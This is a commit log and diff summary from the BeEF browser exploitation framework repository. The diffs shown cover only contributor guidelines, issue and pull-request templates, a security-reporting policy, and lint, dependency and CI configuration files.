f5de5eb7c0 updated dns extension to use async-dns instead of old rubydns 2020-01-10 09:43:45 +10:00
Haoxi Tan
39ef3fe4f6 changed module description for iframe key logger 2020-01-10 08:23:55 +10:00
Haoxi Tan
1ff2272566 updated working browsers 2020-01-09 10:57:10 +10:00
Haoxi Tan
5db7f16eef added simplecov output 2020-01-09 08:40:18 +10:00
Haoxi Tan
ac9edf15d4 Merge branch 'master' of https://github.com/beefproject/beef 2020-01-09 08:39:03 +10:00
Haoxi Tan
eb5feb6f4f updated module description 2020-01-09 08:38:29 +10:00
jcrew99
5de583d874 Merge pull request #1843 from beefproject/update_version_number
Update version number
2020-01-08 17:05:24 +10:00
Haoxi Tan
886787c418 changed module names from Replace HREFs to Link Rewrite for consistency 2020-01-08 16:31:23 +10:00
jcrew99
3c209fd0d9 Merge pull request #1825 from beefproject/Postman
Postman
2020-01-07 15:32:00 +10:00
Jess Williams
ea9a85ac7d Add files via upload 2020-01-07 13:04:32 +10:00
Haoxi Tan
e8dba51a21 Merge branch 'master' of https://github.com/beefproject/beef 2020-01-07 11:59:40 +10:00
Haoxi Tan
5d7529c6c6 updated working status of OS and browsers 2020-01-07 11:59:29 +10:00
jcrew99
56ba542c05 Merge pull request #1824 from beefproject/updated_read_me
updated to show the Jsdocs
2020-01-07 11:55:04 +10:00
jcrew99
9046922c3d Merge pull request #1823 from beefproject/updated_read_me
updated the ReadMe
2020-01-07 10:07:49 +10:00
beefproject
e54517a962 Set theme jekyll-theme-minimal 2020-01-07 09:55:43 +10:00
jcrew99
442a6f8595 Merge pull request #1821 from beefproject/date_change
copyright changes to new year
2020-01-06 15:09:46 +10:00
jcrew99
c6910a71a2 Merge pull request #1817 from beefproject/SecureRandom
Use SecureRandom after update to 2.5
2020-01-03 14:41:55 +10:00
jcrew99
3702ec6fa1 Merge pull request #1818 from beefproject/active_record_fix
Active record fix
2020-01-03 14:41:11 +10:00
JessW98
fc3ed5cd16 Use SecureRandom 2020-01-02 20:13:48 -08:00
jcrew99
8e783ad2bd Merge pull request #1816 from beefproject/yaml_safe_load
Replaced yaml.load with yaml.safe_load
2020-01-03 12:56:30 +10:00
Grant Burgess
f608cacb2f Replaced yaml.load with yaml.safe_load 2020-01-03 10:40:57 +10:00
Grant Burgess
ba15644e32 Merge pull request #1815 from beefproject/remove-liveCD-dir
Removed LiveCD directory and reference in Metasploit config.yaml
2020-01-03 10:00:02 +10:00
Jack Walker
de7866dc87 Removed LiveCD directory and reference in Metasploit config.yaml 2020-01-03 09:50:55 +10:00
jcrew99
15af93c39e Merge pull request #1814 from beefproject/active_record_fix
Active record fix for the table names
2020-01-02 22:39:42 +10:00
root
4324876671 Merge branch 'active_record_fix' of https://github.com/beefproject/beef into active_record_fix
pull
2020-01-02 12:12:07 +00:00
Jack Walker
b4116e7a7f Merge pull request #1813 from beefproject/jsdoc
Jsdoc
2020-01-02 16:52:41 +10:00
Grant Burgess
e9636599ac Generated JSDoc html files to host on Github Pages 2020-01-02 16:33:14 +10:00
Grant Burgess
53f2529718 Updated documentation for use with JSDoc 2020-01-02 16:32:17 +10:00
Grant Burgess
160f0c4b1c Added packages for JSDoc 2020-01-02 16:30:26 +10:00
Grant Burgess
1bdafffe2c Updated Gitignore 2020-01-02 16:29:50 +10:00
Jack Walker
7d95afef51 Merge pull request #1812 from beefproject/copyrightupdate
Update copyright information
2020-01-02 12:57:56 +10:00
beep
470b3483d0 Update copyright information 2020-01-01 18:47:08 -08:00
Grant Burgess
1e7022654e Updated .gitignore to ignore rdoc output 2019-12-31 15:36:03 +10:00
Grant Burgess
d0ea2cebe4 Added JSDoc to the project and updated .gitignore 2019-12-31 15:06:44 +10:00
root
1a8a8d9154 Merge branch 'active_record_fix' of https://github.com/beefproject/beef into active_record_fix 2019-12-30 11:28:38 +00:00
root
e8e7ba26e4 updated the DNS rules 2019-12-30 11:25:25 +00:00
root
c23e78f2de updated to show the Jsdocs 2019-12-30 07:47:33 +00:00
root
7b7531f62c Didnt need to track 2019-12-30 06:10:04 +00:00
root
c89484931c Merge branch 'master' of https://github.com/beefproject/beef into reset_head
maybe
2019-12-30 06:09:36 +00:00
root
0d63b724d5 Revert "Revert "Merge pull request #1845 from beefproject/fix_broken_admin_ui_access""
This reverts commit 6a8c8d7081.

Some random outcomes causes it to break
2019-12-30 06:06:06 +00:00
root
6a8c8d7081 Revert "Merge pull request #1845 from beefproject/fix_broken_admin_ui_access"
This reverts commit 5de127a0e2, reversing
changes made to f5de5eb7c0.
2019-12-30 06:05:09 +00:00
root
d0f636cf7e updated the ReadMe 2019-12-30 05:58:33 +00:00
root
0943ee4ad3 Merge branch 'master' of https://github.com/beefproject/beef into update_version_number
updating the version number that was written over-somewhere
2019-12-30 05:49:00 +00:00
root
8627af1001 copyright changes to new year 2019-12-30 05:48:03 +00:00
root
e8c1456371 updating the version number 2019-12-30 05:48:01 +00:00
root
b597c1a4f2 Merge branch 'active_record_fix' of https://github.com/beefproject/beef into active_record_fix
this is to hoefully fix one of the errors
2019-12-30 05:39:42 +00:00
root
6f34d1c807 other migrations 2019-12-30 05:38:16 +00:00
root
a8f18706b1 updated table names 2019-12-30 05:23:59 +00:00
root
66b68ac489 changes to the migrations 2019-12-29 22:31:47 +00:00
jcrew99
516b787c80 Merge pull request #1807 from sopsmattw/master
Added libcurl4-openssl-dev to apt command.
2019-12-18 12:09:14 +10:00
jcrew99
6d05f8c4ed Merge pull request #1806 from beefproject/ruby_version_upgrade
updated the version from 2.4 - 2.5
2019-12-17 14:44:36 +10:00
root
62f7e52b40 update 2.4.0 readme 2019-12-17 04:28:27 +00:00
root
bae6557b9c the 2.4.0 fix doesnt work 2019-12-17 04:19:55 +00:00
root
0bb5fc8bd4 mistake in the RVM 2019-12-17 04:15:04 +00:00
root
fdad5f459d Added 2.4.0 back 2019-12-17 04:11:49 +00:00
root
ee242441ce ACTIVE RECORD 2019-12-17 04:09:09 +00:00
root
42bb1f2d1a the travis.yml to what it was before the updage 2019-12-17 03:30:12 +00:00
root
feb57aca91 updated the version from 2.4 - 2.5 2019-12-17 01:45:16 +00:00
jcrew99
4435a02d48 Merge pull request #1804 from beefproject/version
Bump version to 0.5.0.0
2019-12-17 10:43:16 +10:00
root
9e31f7d1eb Bump version to 0.5.0.0 2019-12-17 00:40:13 +00:00
root
0b67f4c2e8 Merge branch 'activerecord' 2019-12-17 00:16:44 +00:00
root
5a05bd965e byebug and stops the auth rate limit test till fix 2019-12-13 15:33:31 +00:00
jcrew99
bc6d7dc934 Merge pull request #1799 from beefproject/test
Tests for the linear run
2019-12-10 13:44:27 +10:00
Centos 7 beef VM
7043212a58 updated the gitignore and stop the random tests 2019-12-09 19:29:12 -08:00
jcrew99
3273513e9d Merge pull request #1798 from beefproject/test1
the changes make one of the tests clean up after itself properly
2019-12-09 14:12:10 +10:00
jcrew99
ae70388da3 Merge pull request #1791 from beefproject/jcrew99-build_test
Update .travis.yml
2019-12-09 14:11:18 +10:00
Centos 7 beef VM
4db3853535 the changes made 2019-12-06 00:46:59 -08:00
jcrew99
3c809a785d Merge pull request #1796 from h4sh5/master
Fixing random fails in auth_rate_spec.rb
2019-12-06 13:20:06 +10:00
Haoxi Tan
9a6b410aaa beef.log and byebug history 2019-12-06 12:11:23 +10:00
Haoxi Tan
b4013bb74b beef.log and byebug history 2019-12-06 12:10:56 +10:00
Haoxi Tan
a4139d6e60 fixed randomly failing bug in auth_rate_spec.rb 2019-12-06 12:09:28 +10:00
Haoxi Tan
a397b67148 - fixed randomly failing bug in auth_rate_spec.rb
- added beef.log and .byebug_history in .gitignore
2019-12-06 12:07:29 +10:00
Centos 7 beef VM
42b5a4fe58 should kill the issues with dns 2019-12-05 10:22:35 -08:00
Centos 7 beef VM
b5e5689eca config order for random, but deterministic tests 2019-12-04 20:54:15 -08:00
jcrew99
dff44bc865 Merge pull request #1793 from beefproject/jcrew99-remove-the-ruby-racer
remove the rubyracer again
2019-12-03 16:35:27 +10:00
jcrew99
6594aa0b03 remove the rubyracer again
This was introduced again and this is just removing it
2019-12-03 16:32:38 +10:00
jcrew99
750c41cca8 Merge pull request #1786 from erwanlr/master
WordPress Fixes and Improvements
2019-12-03 15:53:19 +10:00
jcrew99
c56ca60241 Update .travis.yml
Im updating the ruby version for 2.5.0 to 2.5.3 for the build tests
2019-12-03 14:43:42 +10:00
root
cc08bb56f2 explain a possible error with API test 2019-12-02 04:50:52 +00:00
Ben Passmore
f5a4671550 Added beef.log to .gitignore 2019-11-30 15:27:17 +10:00
Ben Passmore
52f091fd21 Fixed up rspec tests for AR 2019-11-30 15:26:48 +10:00
Ben Passmore
6a208245ed Updated modules for AR 2019-11-30 15:24:07 +10:00
Ben Passmore
8ca7e2135c Updated xssrays for AR 2019-11-30 15:23:27 +10:00
Ben Passmore
173d55714a Updated webrtc for AR 2019-11-30 15:22:41 +10:00
Ben Passmore
502a52452c Updated social_engineering for AR 2019-11-30 15:21:50 +10:00
Ben Passmore
b89fbd9268 Updated requester for AR 2019-11-30 15:21:11 +10:00
Ben Passmore
7c2a56945c Updated proxy for AR 2019-11-30 15:20:03 +10:00
Ben Passmore
97ab3625f5 Updated network for AR 2019-11-30 15:19:40 +10:00
Ben Passmore
8b244c6f58 Updated metasploit for AR 2019-11-30 15:18:49 +10:00
Ben Passmore
3950e934a6 Updated ipec for AR 2019-11-30 15:18:19 +10:00
Ben Passmore
0f74b6faf2 Updated events for AR 2019-11-30 15:17:32 +10:00
Ben Passmore
ea9c281804 Updated dns for AR 2019-11-30 15:17:11 +10:00
Ben Passmore
36336e4c5f Updated console for AR 2019-11-30 15:13:56 +10:00
Ben Passmore
7462dea1e0 Updated autoloader for AR 2019-11-30 15:13:19 +10:00
Ben Passmore
f83add866e Added new migrations for extensions 2019-11-30 15:12:49 +10:00
Jess
3959d2c8bb syntax changes 2019-11-14 22:10:00 -08:00
Jess
9b5c8e39df Syntax changes 2019-11-14 22:09:44 -08:00
Ben Passmore
87b8093504 Corrected command execution. 2019-11-08 08:03:35 +10:00
Ben Passmore
eff7b99393 AR convert admin_ui 2019-11-03 08:09:18 +10:00
Ben Passmore
b88774cdbf AR convert autorun 2019-11-03 08:08:22 +10:00
Ben Passmore
58447e4007 AR convert rest components 2019-11-03 08:06:43 +10:00
Ben Passmore
fce763e9f3 AR covert websocket 2019-11-03 08:04:38 +10:00
Ben Passmore
3068fbead5 AR convert handlers 2019-11-03 08:03:56 +10:00
Ben Passmore
96e4063e2a AR corrected models 2019-11-03 08:02:52 +10:00
Ben Passmore
8cbae6a830 Cast print error to string when there are cases it recieves stack traces 2019-11-03 08:01:54 +10:00
Ben Passmore
66bec03158 AR convert logger 2019-11-03 08:01:15 +10:00
Ben Passmore
557452b95d AR convert module loader 2019-11-03 08:00:51 +10:00
Ben Passmore
91332844c8 AR convert crypto 2019-11-03 08:00:29 +10:00
Ben Passmore
88c488969e AR convert command 2019-11-03 07:59:59 +10:00
Ben Passmore
80bfc21516 AR convert hbmanager 2019-11-03 07:59:34 +10:00
Ben Passmore
aac1b0bc10 Added command references 2019-11-02 08:26:41 +10:00
Ben Passmore
d1d5d1d648 Fixes #1731, Fixes #1629. Corrected params overloading causing parsing
errors.
2019-11-02 08:24:39 +10:00
Ben Passmore
c85e3c01b5 Upgraded to latest version of gems 2019-11-02 08:21:49 +10:00
erwanlr
7841f55166 WP - Displays Auth Key when plugin successfuly installed and activated 2019-10-27 11:11:36 +01:00
erwanlr
12e5f51721 Removes test wp_path 2019-10-27 00:11:17 +02:00
erwanlr
b6d338d334 WordPress - Adds auth_key to Plugin, Use SecureRandom and Fixes fatal error when plugin file called directly 2019-10-27 00:09:39 +02:00
erwanlr
151976176a Adds missing author in module (previous commit) 2019-10-26 14:28:06 +02:00
erwanlr
2f71b35f7b Fixes & Improves & Adds WordPress stuff 2019-10-26 14:19:18 +02:00
Ben Passmore
5bfd1e54df Added autorun model migrations 2019-10-09 10:04:17 +10:00
Ben Passmore
0574bdf002 Moved autorun models to active record core models 2019-10-09 10:03:27 +10:00
Ben Passmore
91265cad77 Updated migrations to use ActiveRecord 2019-10-08 16:18:21 +10:00
Ben Passmore
21d0906c12 Changed ./beef to use ActiveRecord 2019-10-08 16:17:48 +10:00
Ben Passmore
d588c56391 Refactored models to use ActiveRecord 2019-10-08 16:15:55 +10:00
Ben Passmore
4cecca4075 Allow usage of connection management 2019-10-08 16:14:46 +10:00
Ben Passmore
9babcba7c3 Fixed loaders 2019-10-08 16:14:09 +10:00
Ben Passmore
405241c5d0 Added base model 2019-10-08 16:13:36 +10:00
Ben Passmore
0cd8878a3f Added migrations 2019-10-08 16:13:12 +10:00
Ben Passmore
06d1ba7754 Reverted config to sqlite only 2019-10-08 16:12:53 +10:00
Ben Passmore
704e675edf Removed datamapper for otr-activerecord 2019-10-08 16:10:00 +10:00
Ben Passmore
d6972adfcb Reworked travis and build issues with new rspec tests 2019-09-26 16:20:15 +10:00
Ben Passmore
ba3183ef38 Merge branch 'rspec-conversion'
* Converted tests to rspec for future releases + travis integration.
* Files remaining in test/ are integrations that require verification if they are still relevant/working.
2019-09-26 13:42:50 +10:00
Ben Passmore
0b0e7840fc Removed test files no longer required by respec 2019-09-26 13:35:59 +10:00
jcrew99
3de78156c2 Merge pull request #1773 from beefproject/raketest
Raketest
2019-09-20 18:17:19 +10:00
root
0531cdf745 config 2019-09-20 08:16:16 +00:00
root
d8f838980f changed the travis back 2019-09-20 08:11:39 +00:00
root
731527e259 changing back the gem and test plus travis 2019-09-20 07:58:21 +00:00
root
ad3927485c should force a fail 2019-09-20 07:37:59 +00:00
root
a35d0eae5e trying to get the .travis to error 2019-09-20 07:22:49 +00:00
jcrew99
dd336fa8a2 Merge pull request #1769 from beefproject/raketest
putting the file in the gemset instead
2019-09-20 17:21:38 +10:00
root
ce6d261c05 putting the file in the gemset instead 2019-09-20 07:07:36 +00:00
jcrew99
6b34f1ea3a Merge pull request #1768 from beefproject/raketest
testing the rake
2019-09-20 17:07:14 +10:00
root
c2f9922920 updated rakefile change 2019-09-20 06:55:30 +00:00
root
fb168f7480 testing the rake 2019-09-20 06:44:36 +00:00
jcrew99
a777be1254 Merge pull request #1767 from beefproject/raketest
adding a catch to a possible ruby bug
2019-09-20 16:43:32 +10:00
root
31aae8fdaf adding a catch to a possible ruby bug 2019-09-20 06:29:10 +00:00
root
060ed96c7f changed the default task to quick 2019-09-20 05:40:54 +00:00
root
43dd97fe72 change the default task 2019-09-20 05:20:18 +00:00
root
625e4ce386 checked the stage 2019-09-20 04:39:44 +00:00
root
042713f257 testing the .travis 2019-09-20 04:38:16 +00:00
jcrew99
3df5afc930 Merge pull request #1764 from beefproject/default_Yaml_creds
Default yaml creds
2019-09-20 14:31:23 +10:00
root
61f0363859 gave it a proper output 2019-09-20 04:12:28 +00:00
root
de8eb60370 changed so it checks the config for P/U 2019-09-20 04:00:30 +00:00
jcrew99
b238595a2c Merge pull request #1721 from aussieklutz/master
Update selenium dependency to selenium-webdriver
2019-09-17 09:14:27 +10:00
garysteak
a2151e77ad Merge pull request #1761 from beefproject/google-verify
Google verify file
2019-08-30 11:56:50 +10:00
garysteak
dc8d59f000 Google verify file
In order to review blacklisting of repo
2019-08-30 11:48:29 +10:00
Brendan Coles
494650923e Bump nokogiri gem version to >= 1.10.4 2019-08-21 06:26:44 +00:00
Ben Passmore
d1cb59a728 Pulled api rate limit test to rspec 2019-08-18 13:46:20 +10:00
Ben Passmore
10cd685007 Corrected bug when notifications extension not present 2019-08-18 13:44:05 +10:00
Ben Passmore
d8885ef51e Changed port numbers for specs.
Sometimes BeEF is a little too slow at
shutting down before next spec begins,
causing port conflicts.
2019-08-18 13:42:35 +10:00
Ben Passmore
5e18495b33 Removed color methods used in rainbow gem.
Currently broken due to issue: https://github.com/sickill/rainbow/issues/82
2019-07-31 19:13:28 +10:00
Brendan Coles
86f4697765 Merge branch 'master' of https://github.com/beefproject/beef 2019-07-21 22:07:18 +00:00
Brendan Coles
c2d82ace7d Remove CoinHive module 2019-07-21 22:06:57 +00:00
bcoles
6ca6054c68 Merge pull request #1736 from StevenWilliams/patch-1
Fixed OpenStreetMap
2019-07-22 07:53:28 +10:00
Brendan Coles
b0732f21e6 Add Hook Microsoft Edge module 2019-07-20 15:55:09 +00:00
Steven Williams
1867a69311 Fixed OpenStreetMap
Changed url from http to https, as it was getting blocked by Chrome in https sites. Added dataType "json", parseJSON not required so got rid of it. Changed format from json to jsonv2, as OSM was not sending a content type header in "json" but does send an "application/json" header in jsonv2, this fixes Cross Origin Read Blocking in Chrome (https://www.chromestatus.com/feature/5629709824032768).
2019-06-02 19:47:32 -06:00
Brendan Coles
07cc6f9542 Bump version to 0.4.7.4-alpha-pre 2019-05-05 14:40:50 +00:00
Brendan Coles
7df8888505 Bump version to 0.4.7.3-alpha 2019-05-05 14:37:34 +00:00
Brendan Coles
3ea946ed19 Update module config to user_notify 2019-05-05 14:30:58 +00:00
Brendan Coles
a62e502fce Remote Get Physical Location module 2019-05-05 12:18:41 +00:00
Brendan Coles
dab4288501 Fix Get System Info (Java) - Fix #1725 2019-05-05 11:46:36 +00:00
Brendan Coles
367e91b095 Bump version to 0.4.7.3-alpha-pre 2019-05-04 22:50:38 +00:00
aussieklutz
b8fe5f1b80 Replace selenium with selenium-webdriver
Update Session.new calls with headless firefox (:selenium_headless) module
2019-05-02 09:55:01 +10:00
aussieklutz
64d5638a81 Replace selenium with selenium-webdriver
Replace gem require
2019-05-02 09:51:24 +10:00
aussieklutz
5eb3b686f1 Replace selenium with selenium-webdriver gem
Replace gem require + update Session.new calls with headless firefox (:selenium_headless) module
2019-05-02 09:49:21 +10:00
aussieklutz
639d14c682 Switching to current selenium-webdriver for tests
Disabling selenium and adding geckodriver-helper and selenium webdriver for the current version of selenium.
2019-05-02 08:50:43 +10:00
root
0b740d6c81 Added libcurl4-openssl-dev to apt command. curb fails to build when
running bundle install
2019-04-21 09:01:40 -06:00
Ben Passmore
7c5a5b4df4 Converted unit tests, further work required 2019-04-17 10:48:04 +10:00
1513 changed files with 97177 additions and 7913 deletions

2
.bundle/config Normal file
View File

@@ -0,0 +1,2 @@
---
BUNDLE_WITHOUT: "development:test"

84
.github/CONTRIBUTING.md vendored Normal file
View File

@@ -0,0 +1,84 @@
# Contributing
### Anyone is welcome to make BeEF better!
Thank you for wanting to contribute to BeEF. It's effort like yours that helps make BeEF such a great tool.
Following these guidelines shows that you respect the time of the developers developing this open source project and helps them help you. In response to this, they should return that respect in addressing your issue, assisting with changes, and helping you finalize your pull requests.
### We want any form of helpful contributions!
BeEF is an open source project and we love to receive contributions from the community! There are many ways to contribute, from writing tutorials or blog posts, improving or translating the documentation, answering questions on the project, submitting bug reports and feature requests or writing or reviewing code which can be merged into BeEF itself.
# Ground Rules
### Responsibilities
> * When making an issue, ensure the issue template is filled out, failure to do so can and will result in a closed ticket and a delay in support.
> * We now have a two-week of unresponsiveness period before closing a ticket, if this happens, just comment responding to the issue which will re-open the ticket. Ensure to make sure all information requested is provided.
> * Ensure cross-platform compatibility for every change that's accepted. Mac and Linux are currently supported.
> * Create issues for any major changes and enhancements that you wish to make. Discuss things transparently and get community feedback.
> * Ensure language is as respectful and appropriate as possible.
> * Keep merges as straightforward as possible, only address one issue per commit where possible.
> * Be welcoming to newcomers and try to assist where possible, everyone needs help.
# Where to start
### Looking to make your first contribution
Unsure where to begin contributing to BeEF? You can start by looking through these issues:
* Good First Issue - issues which should only require a few changes, and are good to start with.
* Question - issues which are a question and need a response. A good way to learn more about BeEF is to try to solve a problem.
At this point, you're ready to make your changes! Feel free to ask for help; everyone is a beginner at first.
If a maintainer asks you to "rebase" your PR, they're saying that code has changed, and that you need to update your branch so it's easier to merge.
### Ruby best practise
Do read through: https://rubystyle.guide
Try and follow through with the practices throughout, even going through it once will help keep the codebase consistent.
Use Rubocop to help ensure that the changes adhere to current standards, we are currently catching up old codebase to match.
Just run the following in the /beef directory.
> rubocop
# Getting started
### How to submit a contribution.
1. Create your own fork of the code
2. Checkout the master branch
> git checkout master
3. Create a new branch for your feature
> git checkout -b my-cool-new-feature
4. Add your new files
> git add modules/my-cool-new-module
5. Modify or write a test case/s in Rspec for your changes
6. Commit your changes with a relevant message
> git commit
7. Push your changes to GitHub
> git push origin my-cool-new-feature
8. Run all tests again to make sure they all pass
9. Edit existing wiki page / add a new one explaining the new features, including:
- sample usage (command snippets, steps and/or screenshots)
- internal working (code snippets & explanation)
10. Now browse to the following URL and create your pull request from your fork to beef master
- Fill out the Pull Request Template
- https://github.com/beefproject/beef/pulls
# How to report a bug
If you find a security vulnerability, do NOT open an issue. Email security@beefproject.com instead.
When the security team receives a security bug email, they will assign it to a primary handler.
This person will coordinate the fix and release process, involving the following steps:
* Confirm the problem and find the affected versions.
* Audit code to find any potential similar problems.
* Prepare fixes

View File

@@ -1,49 +1,66 @@
# Submit Issue
Verify first that your issue/request has not been posted previously:
* https://github.com/beefproject/beef/issues
* https://github.com/beefproject/beef/wiki/FAQ
Ensure you're using the [latest version of BeEF](https://github.com/beefproject/beef/releases/tag/beef-0.4.7.2).
Ensure you're using the [latest version of BeEF](https://github.com/beefproject/beef/releases/tag/v0.5.2.0).
Please do your best to provide as much information as possible. It will help substantially if you can enable and provide debugging logs with your issue. Instructions for enabling debugging logs are below:
1. In the `config.yaml` file of your BeEF root folder set debug and client_debug (lines 11 & 13 respectively) to `true`
* If using a standard installation of `beef-xss` the root folder will typically be `/usr/share/beef-xss`
2. Reproduce your error
3. Retrieve your client-side logs from your browser's developer console (Ctrl + Shift + I)
4. Retrieve your server-side logs from `~/.beef/beef.log`
5. **If using `beef-xss`:** Retrieve your service logs using `journalctl -u beef-xss`
Thank you, this will greatly aid us in identifying the root cause of your issue :)
**If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.**
Feel free to open it back up if you continue to have issues.
## Summary
**Q:** Please provide a brief summary of the issue that you experienced.
**A:**
## Environment
*Please identify the environment in which your issue occurred.*
1. **BeEF Version:**
2. **Ruby Version:**
3. **Browser Details (e.g. Chrome v81.0):**
4. **Operating System (e.g. OSX Catalina):**
#### Environment
## Configuration
What version/revision of BeEF are you using?
**Q:** Have you made any changes to your BeEF configuration?
**A:**
On what version of Ruby?
**Q:** Have you enabled or disabled any BeEF extensions?
**A:**
On what browser?
## Expected vs. Actual Behaviour
On what operating system?
**Expected Behaviour:**
<br />
**Actual Behaviour:**
<br />
## Steps to Reproduce
*Please provide steps to reproduce this issue.*
1.
#### Configuration
## Additional Information
Are you using a non-default configuration?
Have you enabled or disabled any BeEF extensions?
#### Summary
Please provide a summary of the issue.
#### Expected Behaviour
What was the expected result?
#### Actual Behaviour
What was the actual result?
#### Steps to Reproduce
Please provide steps to reproduce this issue.
#### Additional Information
Please provide any additional information which may be useful in resolving this issue, such as debugging output and relevant screen shots. Debug output can be enabled by specifying `debug: true` in the `config.yaml` configuration file.
Please provide any additional information which may be useful in resolving this issue, such as debugging output and relevant screen shots. Debug output can be retrieved by following the instructions towards the top of the issue template.

20
.github/PULL_REQUEST_TEMPLATE.md vendored Normal file
View File

@@ -0,0 +1,20 @@
# Pull Request
Thanks for submitting a PR! Please fill in this template where appropriate:
## Category
*e.g. Bug, Module, Extension, Core Functionality, Documentation, Tests*
## Feature/Issue Description
**Q:** Please give a brief summary of your feature/fix
**A:**
**Q:** Give a technical rundown of what you have changed (if applicable)
**A:**
## Test Cases
**Q:** Describe your test cases, what you have covered and if there are any use cases that still need addressing.
**A:**
## Wiki Page
*If you are adding a new feature that is not easily understood without context, please draft a section to be added to the Wiki below.*

9
.github/SECURITY.md vendored Normal file
View File

@@ -0,0 +1,9 @@
send security bug reports to security@beefproject.com
**A security report should include:**
1. Description of the problem (what it is, what's the impact)
2. Technical steps to replicate it (commands / screenshots)
3. Actionable fix/recommendations to mitigate the issue

25
.github/dependabot.yml vendored Normal file
View File

@@ -0,0 +1,25 @@
version: 2
updates:
- package-ecosystem: npm
directory: "/"
schedule:
interval: daily
open-pull-requests-limit: 10
ignore:
- dependency-name: jsdoc-to-markdown
versions:
- 7.0.0
- package-ecosystem: bundler
directory: "/"
schedule:
interval: daily
open-pull-requests-limit: 10
ignore:
- dependency-name: rubocop
versions:
- 1.10.0
- 1.11.0
- 1.12.0
- 1.12.1
- 1.9.0
- 1.9.1

23
.gitignore vendored
View File

@@ -1,16 +1,31 @@
### BeEF ###
beef.db
beef.log
test/msf-test
extensions/admin_ui/media/javascript-min/
custom-config.yaml
.DS_Store
.gitignore
.rvmrc
beef.log
*.lock
extensions/metasploit/msf-exploits.cache
# ruby debugging
.byebug_history
# Bundler
/.bundle
/vendor
#simplecov
coverage/
# BrowserStack
local.log
# The following lines were created by https://www.gitignore.io
### Linux ###
@@ -104,3 +119,11 @@ $RECYCLE.BIN/
test/thirdparty/msf/unit/.byebug_history
/load
### JSDoc ###
# Dependency directories
node_modules/
# Generated files
out/
doc/rdoc/

4
.rspec Normal file
View File

@@ -0,0 +1,4 @@
--format documentation
--color
--require spec_helper
-I .

View File

@@ -4,21 +4,75 @@ AllCops:
- 'tmp/**/*'
- 'tools/**/*'
- 'doc/**/*'
TargetRubyVersion: 2.4
TargetRubyVersion: 2.6
Layout/LineLength:
Enabled: true
Max: 180
Metrics/AbcSize:
Enabled: false
Metrics/BlockLength:
Enabled: false
Metrics/ClassLength:
Enabled: false
Metrics/LineLength:
Enabled: false
Metrics/MethodLength:
Enabled: false
Metrics/PerceivedComplexity:
Enabled: false
Metrics/CyclomaticComplexity:
Enabled: false
Style/FrozenStringLiteralComment:
Enabled: false
# TODO: review these
Layout/SpaceBeforeBrackets:
Enabled: false
Lint/AmbiguousAssignment:
Enabled: false
Lint/DeprecatedConstants:
Enabled: false
Lint/DuplicateBranch:
Enabled: false
Lint/DuplicateRegexpCharacterClassElement:
Enabled: false
Lint/EmptyBlock:
Enabled: false
Lint/EmptyClass:
Enabled: false
Lint/LambdaWithoutLiteralBlock:
Enabled: false
Lint/NoReturnInBeginEndBlocks:
Enabled: false
Lint/RedundantDirGlobSort:
Enabled: false
Lint/ToEnumArguments:
Enabled: false
Lint/UnexpectedBlockArity:
Enabled: false
Lint/UnmodifiedReduceAccumulator:
Enabled: false
Style/ArgumentsForwarding:
Enabled: false
Style/CollectionCompact:
Enabled: false
Style/DocumentDynamicEvalDefinition:
Enabled: false
Style/EndlessMethod:
Enabled: false
Style/HashExcept:
Enabled: false
Style/NegatedIfElseCondition:
Enabled: false
Style/NilLambda:
Enabled: false
Style/RedundantArgument:
Enabled: false
Style/SwapValues:
Enabled: false

View File

@@ -1 +1 @@
2.5.3
2.7.2

View File

@@ -1,23 +1,99 @@
language: ruby
rvm:
- 2.4.0
- 2.5.0
- 2.6.0
env:
- "BEEF_TEST=true"
- 2.5.3
- 2.6.0
- 2.6.3
- 2.6.5
- 2.7.0
notifications:
email:
recipients:
- wade@bindshell.net
on_success: always
on_failure: always
on_success: always
on_failure: always
branches:
only:
- master
- browserstack
before_script:
- RUBY_VERSION=/bin/bash rvm current
- sed -i -E 's/system\((.*?)\)/""/g' /home/travis/.rvm/gems/$RUBY_VERSION/gems/browserstack-local-1.3.0/lib/browserstack/local.rb
env:
- CONFIG_FILE=osx/catalina/catalina_chrome_41.config.yml
- CONFIG_FILE=osx/catalina/catalina_chrome_59.config.yml
- CONFIG_FILE=osx/catalina/catalina_chrome_81.config.yml
- CONFIG_FILE=osx/catalina/catalina_firefox_11.config.yml
- CONFIG_FILE=osx/catalina/catalina_firefox_68esr.config.yml
- CONFIG_FILE=osx/catalina/catalina_firefox_75.config.yml
- CONFIG_FILE=osx/catalina/catalina_safari_13.config.yml
- CONFIG_FILE=osx/elcapitan/elcapitan_chrome_14.config.yml
- CONFIG_FILE=osx/elcapitan/elcapitan_chrome_81.config.yml
- CONFIG_FILE=osx/elcapitan/elcapitan_firefox_7.config.yml
- CONFIG_FILE=osx/elcapitan/elcapitan_firefox_75.config.yml
- CONFIG_FILE=osx/elcapitan/elcapitan_safari_9-1.config.yml
- CONFIG_FILE=osx/snowleopard/snowleopard_chrome_14.config.yml
- CONFIG_FILE=osx/snowleopard/snowleopard_chrome_35.config.yml
- CONFIG_FILE=osx/snowleopard/snowleopard_chrome_49.config.yml
- CONFIG_FILE=osx/snowleopard/snowleopard_firefox_7.config.yml
- CONFIG_FILE=osx/snowleopard/snowleopard_firefox_38esr.config.yml
- CONFIG_FILE=osx/snowleopard/snowleopard_firefox_42.config.yml
- CONFIG_FILE=osx/snowleopard/snowleopard_safari_5-1.config.yml
- CONFIG_FILE=windows/win10/win10_chrome_37.config.yml
- CONFIG_FILE=windows/win10/win10_chrome_59.config.yml
- CONFIG_FILE=windows/win10/win10_firefox_32.config.yml
- CONFIG_FILE=windows/win10/win10_firefox_68esr.config.yml
- CONFIG_FILE=windows/win10/win10_firefox_75.config.yml
- CONFIG_FILE=windows/win10/win10_edge_81.config.yml
- CONFIG_FILE=windows/win10/win10_ie_11.config.yml
- CONFIG_FILE=windows/win8/win8_chrome_22.config.yml
- CONFIG_FILE=windows/win8/win8_chrome_81.config.yml
- CONFIG_FILE=windows/win8/win8_firefox_32.config.yml
- CONFIG_FILE=windows/win8/win8_firefox_75.config.yml
- CONFIG_FILE=windows/win8/win8_edge_81.config.yml
- CONFIG_FILE=windows/win8/win8_ie_10.config.yml
- CONFIG_FILE=windows/xp/xp_chrome_14.config.yml
- CONFIG_FILE=windows/xp/xp_chrome_28.config.yml
- CONFIG_FILE=windows/xp/xp_chrome_43.config.yml
- CONFIG_FILE=windows/xp/xp_firefox_16.config.yml
- CONFIG_FILE=windows/xp/xp_firefox_26.config.yml
- CONFIG_FILE=windows/xp/xp_firefox_45.config.yml
